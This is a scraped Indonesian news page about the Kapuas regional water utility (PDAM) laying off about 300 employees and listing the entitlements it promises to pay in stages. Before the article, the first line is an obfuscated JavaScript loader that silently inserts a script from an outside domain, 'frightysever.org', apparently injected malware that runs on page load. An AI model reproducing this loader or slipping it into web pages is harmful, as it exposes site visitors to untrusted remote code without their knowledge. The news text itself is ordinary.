(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

PDAM Kapuas akan Penuhi Hak Karyawan yang Dinonaktifkan, Ini Penjelasannya


KANALKALIMANTAN. COM, KUALA KAPUAS – Pasca pengumuman hasil tes assesment karyawan PDAM Kuala Kapuas, Jumat (21/1/2022), karyawan yang dinonaktifkan dijamin akan tetap dipenuhi hak-haknya.

Surat pengumuman bernomor UM.01.11/Perumda Tirta Pembelum/84/2022 tertanggal 21 Januari 2022, diumumkan nama-nama karyawan baik yang berstatus tetap, calon pegawai maupun tenaga kontrak tidak dengan serta merta kehilangan hak-haknya.

Dalam pengumumannya itu, ada terdapat calon pegawai (Capeg) dan tenaga kontrak yang dinyatakan lulus dan masih akan melanjutkan kembali bekerja di PDAM Kuala Kapuas.

Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto Suryadhi, Sabtu (22/1/2022) menyampaikan, untuk para karyawan yang dinonaktifkan, PDAM Kapuas akan memenuhi kewajiban perusahaan atas hak-hak para karyawan yang dinonaktifkan.

 

Baca juga : Binda Kalsel-Puskesmas Haur Gading Vaksinasi Anak di SDN Sungai Limas

Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto kepada Kanalkalimantan.com, karyawan yang melanjutkan hanya 146 orang, kurang lebih 300 orang dinonaktifkan.

Menurut Kristanto, nama-nama karyawan berjumlah 146 yang lolos termasuk juga karyawan lama dan karyawan baru, ada yang berstatatus Capeg, pegawai tetap maupun karyawan kontrak.

“Sekali lagi saya berharap kawan-kawan mau menerima kondisi dengan lapang dada, karena memang kondisi perusahaan sangat sulit untuk berkembang. Kalau rasionalisasi ini tidak dilakukan maka perusahaan akan kolaps. Jika kolaps maka akan kesulitan melayani masyarakat, itu yang paling utama, jadi saya mohon kawan-kawan bisa legowo menerima hal ini,” ujar Kristanto.

Hak karyawan tersebut diberikan kepada pegawai perusahaan, calon pegawai, dan pegawai kontrak, adalah sebagai berikut :
1. Tunggakan gaji sampai dengan bulan Januari 2022

2. Dana pensiun melalui Dana Pensiun Bersama (DAPENMA)

3. Iuran BPJS Kesehatan

4. Iuran BPJS Tenaga Kerja/astek

5. Pesangon dengan ketentuan yang berlaku.

 

Baca juga : Si Madu Hitam, Lebih Pahit Tapi Ini Manfaatnya

“Dalam penyelesaian hak tersebut akan dibayarkan secara bertahap dimulai Februari 2022, sesuai dengan kondisi keuangan perusahaan,” tegas Kristanto.

“Apabila masih ada pertanyaan terkait hal tersebut, maka dapat ditanyakan kepada Bagian SDM Kepegawaian PDAM Tirta Pambelum Kabupaten Kapuas pada jam kerja,” tandas Pjs Dirut PDAM Kapuas, Kristanto Suryadi. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk



Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.